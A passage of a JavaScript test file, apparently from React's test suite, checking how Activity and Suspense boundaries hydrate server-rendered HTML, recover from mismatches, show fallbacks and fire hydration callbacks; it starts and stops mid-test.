container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--&-->Hello<div>Component</div><!--/&-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--&-->Hello<div>Component</div><!--/&-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Hello',\n      'Component',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed.\n    expect(container.innerHTML).toBe('Hello<article>Mismatch</article>');\n  });\n\n  it('handles if mismatch is child of suspended component', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function App() {\n      return (\n        <Activity>\n          <Child>\n            <Component shouldMismatch={true} />\n          </Child>\n        </Activity>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Hello', 'Component']);\n\n    expect(container.innerHTML).toBe(\n      '<!--&--><div><div>Component</div></div><!--/&-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--&--><div><div>Component</div></div><!--/&-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Hello',\n      'Component',\n      'Hello',\n      'Component',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe('<div><article>Mismatch</article></div>');\n  });\n\n  it('handles if mismatch is parent and first child suspends', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return (\n          <div>\n            {children}\n            <article>Mismatch</article>\n          </div>\n        );\n      }\n      return (\n        <div>\n          {children}\n          <div>Component</div>\n        </div>\n      );\n    }\n    function App() {\n      return (\n        <Activity>\n          <Component shouldMismatch={true}>\n            <Child />\n          </Component>\n        </Activity>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--&--><div><div></div><div>Component</div></div><!--/&-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Suspend']);\n    jest.runAllTimers();\n\n    // !! Unchanged, continue showing server content while suspended.\n    expect(container.innerHTML).toBe(\n      '<!--&--><div><div></div><div>Component</div></div><!--/&-->',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    await waitForAll([\n      // first pass, mismatches at end\n      'Component',\n      'Hello',\n      'Component',\n      'Hello',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    jest.runAllTimers();\n\n    // Client rendered - suspense comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<div><div></div><article>Mismatch</article></div>',\n    );\n  });\n\n  it('does show a parent fallback if mismatch is parent and second child suspends', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return (\n          <div>\n            <article>Mismatch</article>\n            {children}\n          </div>\n        );\n      }\n      return (\n        <div>\n          <div>Component</div>\n          {children}\n        </div>\n      );\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Activity>\n            <Component shouldMismatch={true}>\n              <Child />\n            </Component>\n          </Activity>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    const div = container.getElementsByTagName('div')[0];\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div><div>Component</div><div></div></div><!--/&--><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never\n    // committed the client rendering.\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div style=\"display: none;\"><div>Component</div><div></div></div><!--/&--><!--/$-->' +\n        'Loading...',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      await waitForAll(['Component', 'Component', 'Hello']);\n    } else {\n      await waitForAll([\n        'Component',\n        'Component',\n        'Hello',\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n    jest.runAllTimers();\n\n    // Now that we've hit the throttle timeout, we can commit the failed hydration.\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n\n    // Client rendered - activity comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--/$--><div><article>Mismatch</article><div></div></div>',\n    );\n  });\n\n  it('does show a parent fallback if mismatch is in parent element only', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child({children}) {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return <div>{children}</div>;\n      }\n    }\n    function Component({shouldMismatch, children}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>{children}</article>;\n      }\n      return <div>{children}</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Activity>\n            <Component shouldMismatch={true}>\n              <Child />\n            </Component>\n          </Activity>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div><div></div></div><!--/&--><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never\n    // committed the client rendering.\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div style=\"display: none;\"><div></div></div><!--/&--><!--/$-->' +\n        'Loading...',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      await waitForAll(['Component', 'Component', 'Hello']);\n    } else {\n      await waitForAll([\n        'Component',\n        'Component',\n        'Hello',\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n    jest.runAllTimers();\n\n    // Now that we've hit the throttle timeout, we can commit the failed hydration.\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n\n    // Client rendered - activity comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--/$--><article><div></div></article>',\n    );\n  });\n\n  it('does show a parent fallback if mismatch is before suspending', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Activity>\n            <Component shouldMismatch={true} />\n            <Child />\n          </Activity>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div>Component</div>Hello<!--/&--><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never\n    // committed the client rendering.\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div style=\"display: none;\">Component</div><!--/&--><!--/$-->' +\n        'Loading...',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      await waitForAll(['Component', 'Component', 'Hello']);\n    } else {\n      await waitForAll([\n        'Component',\n        'Component',\n        'Hello',\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n    jest.runAllTimers();\n\n    // Now that we've hit the throttle timeout, we can commit the failed hydration.\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n\n    // Client rendered - activity comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--/$--><article>Mismatch</article>Hello',\n    );\n  });\n\n  it('does show a parent fallback if mismatch is before suspending in a child', async () => {\n    let client = false;\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => {\n      resolve = () => {\n        suspend = false;\n        resolvePromise();\n      };\n    });\n    function Child() {\n      if (suspend) {\n        Scheduler.log('Suspend');\n        throw promise;\n      } else {\n        Scheduler.log('Hello');\n        return 'Hello';\n      }\n    }\n    function Component({shouldMismatch}) {\n      Scheduler.log('Component');\n      if (shouldMismatch && client) {\n        return <article>Mismatch</article>;\n      }\n      return <div>Component</div>;\n    }\n    function Fallback() {\n      Scheduler.log('Fallback');\n      return 'Loading...';\n    }\n    function App() {\n      return (\n        <Suspense fallback={<Fallback />}>\n          <Activity>\n            <Component shouldMismatch={true} />\n            <div>\n              <Child />\n            </div>\n          </Activity>\n        </Suspense>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('section');\n    container.innerHTML = finalHTML;\n    assertLog(['Component', 'Hello']);\n\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div>Component</div><div>Hello</div><!--/&--><!--/$-->',\n    );\n\n    suspend = true;\n    client = true;\n\n    ReactDOMClient.hydrateRoot(container, <App />, {\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll(['Component', 'Component', 'Suspend', 'Fallback']);\n    jest.runAllTimers();\n\n    // !! Client switches to suspense fallback. The dehydrated content is still hidden because we never\n    // committed the client rendering.\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--&--><div style=\"display: none;\">Component</div><div style=\"display: none;\">Hello</div><!--/&--><!--/$-->' +\n        'Loading...',\n    );\n\n    suspend = false;\n    resolve();\n    await promise;\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      await waitForAll(['Component', 'Component', 'Hello']);\n    } else {\n      await waitForAll([\n        'Component',\n        'Component',\n        'Hello',\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n    jest.runAllTimers();\n\n    // Now that we've hit the throttle timeout, we can commit the failed hydration.\n    if (gate(flags => flags.alwaysThrottleRetries)) {\n      assertLog([\n        \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n      ]);\n    }\n\n    // Client rendered - activity comment nodes removed\n    expect(container.innerHTML).toBe(\n      '<!--$--><!--/$--><article>Mismatch</article><div>Hello</div>',\n    );\n  });\n\n  it('calls the hydration callbacks after hydration or deletion', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let suspend2 = false;\n    const promise2 = new Promise(() => {});\n    function Child2({value}) {\n      if (suspend2 && !value) {\n        throw promise2;\n      } else {\n        return 'World';\n      }\n    }\n\n    function App({value}) {\n      return (\n        <div>\n          <Activity>\n            <Child />\n          </Activity>\n          <Activity>\n            <Child2 value={value} />\n          </Activity>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    suspend = false;\n    suspend2 = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const hydrated = [];\n    const deleted = [];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    suspend2 = true;\n    const root = ReactDOMClient.hydrateRoot(container, <App />, {\n      onHydrated(node) {\n        hydrated.push(node);\n      },\n      onDeleted(node) {\n        deleted.push(node);\n      },\n      onRecoverableError(error) {\n        Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n        if (error.cause) {\n          Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n        }\n      },\n    });\n    await waitForAll([]);\n\n    expect(hydrated.length).toBe(0);\n    expect(deleted.length).toBe(0);\n\n    await act(async () => {\n      // Resolving the promise should continue hydration\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(hydrated.length).toBe(1);\n    expect(deleted.length).toBe(0);\n\n    // Performing an update should force it to delete the boundary if\n    // it could be unsuspended by the update.\n    await act(() => {\n      root.render(<App value={true} />);\n    });\n\n    expect(hydrated.length).toBe(1);\n    expect(deleted.length).toBe(1);\n  });\n\n  it('hydrates an empty activity boundary', async () => {\n    function App() {\n      return (\n        <div>\n          <Activity />\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.innerHTML).toContain('<div>Sibling</div>');\n  });\n\n  it('recovers with client render when server rendered additional nodes at suspense root', async () => {\n    function CheckIfHydrating({children}) {\n      // This is a trick to check whether we're hydrating or not, since React\n      // doesn't expose that information currently except\n      // via useSyncExternalStore.\n      let serverOrClient = '(unknown)';\n      useSyncExternalStore(\n        () => {},\n        () => {\n          serverOrClient = 'Client rendered';\n          return null;\n        },\n        () => {\n          serverOrClient = 'Server rendered';\n          return null;\n        },\n      );\n      Scheduler.log(serverOrClient);\n      return null;\n    }\n\n    const ref = React.createRef();\n    function App({hasB}) {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref}>A</span>\n            {hasB ? <span>B</span> : null}\n            <CheckIfHydrating />\n          </Activity>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n    assertLog(['Server rendered']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n\n    assertLog([\n      'Server rendered',\n      'Client rendered',\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('recovers with client render when server rendered additional nodes at suspense root after unsuspending', async () => {\n    const ref = React.createRef();\n    let shouldSuspend = false;\n    let resolve;\n    const promise = new Promise(res => {\n      resolve = () => {\n        shouldSuspend = false;\n        res();\n      };\n    });\n    function Suspender() {\n      if (shouldSuspend) {\n        throw promise;\n      }\n      return <></>;\n    }\n    function App({hasB}) {\n      return (\n        <div>\n          <Activity>\n            <Suspender />\n            <span ref={ref}>A</span>\n            {hasB ? <span>B</span> : null}\n          </Activity>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    shouldSuspend = true;\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n\n    await act(() => {\n      resolve();\n    });\n\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('recovers with client render when server rendered additional nodes deep inside suspense root', async () => {\n    const ref = React.createRef();\n    function App({hasB}) {\n      return (\n        <div>\n          <Activity>\n            <div>\n              <span ref={ref}>A</span>\n              {hasB ? <span>B</span> : null}\n            </div>\n          </Activity>\n          <div>Sibling</div>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App hasB={true} />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).toContain('<span>B</span>');\n    expect(ref.current).toBe(null);\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App hasB={false} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    expect(container.innerHTML).toContain('<span>A</span>');\n    expect(container.innerHTML).not.toContain('<span>B</span>');\n    expect(ref.current).not.toBe(span);\n  });\n\n  it('calls the onDeleted hydration callback if the parent gets deleted', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function App({deleted}) {\n      if (deleted) {\n        return null;\n      }\n      return (\n        <div>\n          <Activity>\n            <Child />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const deleted = [];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = await act(() => {\n      return ReactDOMClient.hydrateRoot(container, <App />, {\n        onDeleted(node) {\n          deleted.push(node);\n        },\n      });\n    });\n\n    expect(deleted.length).toBe(0);\n\n    await act(() => {\n      root.render(<App deleted={true} />);\n    });\n\n    // The callback should have been invoked.\n    expect(deleted.length).toBe(1);\n  });\n\n  it('can insert siblings before the dehydrated boundary', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    let showSibling;\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Second';\n      }\n    }\n\n    function Sibling() {\n      const [visible, setVisibilty] = React.useState(false);\n      showSibling = () => setVisibilty(true);\n      if (visible) {\n        return <div>First</div>;\n      }\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Sibling />\n          <Activity>\n            <span>\n              <Child />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(container.firstChild.firstChild.tagName).not.toBe('DIV');\n\n    // In this state, we can still update the siblings.\n    await act(() => showSibling());\n\n    expect(container.firstChild.firstChild.tagName).toBe('DIV');\n    expect(container.firstChild.firstChild.textContent).toBe('First');\n  });\n\n  it('can delete the dehydrated boundary before it is hydrated', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    let hideMiddle;\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <>\n            <div>Middle</div>\n            Some text\n          </>\n        );\n      }\n    }\n\n    function App() {\n      const [visible, setVisibilty] = React.useState(true);\n      hideMiddle = () => setVisibilty(false);\n\n      return (\n        <div>\n          <div>Before</div>\n          {visible ? (\n            <Activity>\n              <Child />\n            </Activity>\n          ) : null}\n          <div>After</div>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(container.firstChild.children[1].textContent).toBe('Middle');\n\n    // In this state, we can still delete the boundary.\n    await act(() => hideMiddle());\n\n    expect(container.firstChild.children[1].textContent).toBe('After');\n  });\n\n  it('blocks updates to hydrate the content first if props have changed', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    root.render(<App text=\"Hi\" className=\"hi\" />);\n\n    // At the same time, resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  // @gate www\n  it('blocks updates to hydrate the content first if props changed at idle priority', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Schedule an update at idle priority\n    ReactDOM.unstable_runWithPriority(IdleEventPriority, () => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    // At the same time, resolving the promise so that rendering can complete.\n    suspend = false;\n    resolve();\n    await promise;\n\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await waitForAll([]);\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('shows the fallback of the parent if props have changed before hydration completes and is still suspended', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const outerRef = React.createRef();\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <div ref={outerRef}>\n            <Activity>\n              <span ref={ref} className={className}>\n                <Child text={text} />\n              </span>\n            </Activity>\n          </div>\n        </Suspense>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(container.getElementsByTagName('div').length).toBe(1); // hidden\n    const div = container.getElementsByTagName('div')[0];\n\n    expect(outerRef.current).toBe(div);\n    expect(ref.current).toBe(null);\n\n    // Render an 